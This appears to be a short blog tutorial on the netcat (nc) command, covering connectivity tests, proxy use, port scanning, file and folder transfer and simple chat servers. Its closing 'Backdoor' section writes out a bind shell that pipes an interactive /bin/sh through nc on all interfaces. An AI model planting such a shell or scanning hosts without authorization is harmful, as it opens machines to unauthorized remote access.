nc/netcat Command

I almost forget this command, but recently I used it as a TCP client to test Envoy TCP proxy. nc can also be a TCP server that listening on port and waiting for connection.

Install

1
2
3
4
5
# install nc (netcat)
# on centos
yum install -y nc
# on ubuntu
apt install -y netcat

Note that some nc version may support different features and options, please read man first!!

Usage Example

Test networking between 2 machines is good:

1
2
3
4
5
6
7
8
9
# on one machine, set up listener
# default is tcp
# -l: listen
# -k: keep connection
nc -lk 1555

# on another machine
# talk to listener
echo "from client" | nc <ip> 1555

I used to set up a UDP client to test logstash input UDP plugin and pipeline.

Proxy

Connection via proxy, see man nc:

1
2
3
4
5
6
# https connect
nc -x10.2.3.4:8080 -Xconnect host.example.com 42

# proxy authentication
# -P: proxy user
nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

Port Scan

Port scanning to know which ports are open and running services on target machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
# -v: verbose
# -z: Zero-I/O mode, report connection status only
# -w: timeout second

# scan port 22 and 8080
nc -v -w 2 -z 127.0.0.1 22 8080

# range scan
nc -v -w 2 -z 127.0.0.1 1-10004

# -n: don't perform DNS resolution
nc -v -w 2 -n -z 8.8.8.8 53
# Connection to 8.8.8.8 53 port [tcp/domain] succeeded

Transfer

Data transfer, also see man nc

1
2
3
4
5
6
# content will be put to filename.out
nc -l 1234 > filename.out

# feed it with filename.in
# -N: disconnet when finish
nc -N host.example.com 1234 < filename.in

For folder transfer:

1
2
3
4
5
6
7
# note there is a - after tar command, used as input
# after done you will see the folder
nc -v -l 1234 | tar zxf -

# - here is used as output
# -N: close connection when is done
tar czf - folder | nc -N -v <ip> 1234

Other ways to transfer files: scp, sftp, python http server.

Server Client

Client/Server model, a chat server, can talk in either way:

TCP server and client

1
2
3
4
5
6
7
8
# server 
# -l: listening
# -vv: verbose
# -p: listening on port 3000
nc -lk -vv -p 3000
# client
# -p: use port 6666 to connect to 3000
nc localhost -p 6666 3000

UDP server and client

1
2
3
4
# server
nc -u -lk localhost 515
# client
nc -u localhost 515

Actually you can use it in script:

1
2
3
4
5
6
#!/bin/bash
# it well block until get the message
message=$(nc -l -p 1234)

# in another script, interesting
echo hi > /dev/tcp/localhost/1234

Backdoor

Execute command on remote via backdoor opened by nc, see nc’s manual

1
2
3
4
5
6
7
8
9
10
11
12
13
# server side, mk a named pipe
rm -f /tmp/f; mkfifo /tmp/f
# -i: interactive shell
# cat pipe's content sent by client to interactive shell
# then redirect the output to pipe to show it on client side
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 1234 > /tmp/f
# remove after done
rm -f /tmp/f

# client side
nc <server ip> 1234
# prompt a interactive shell
# then run command on remote server
0%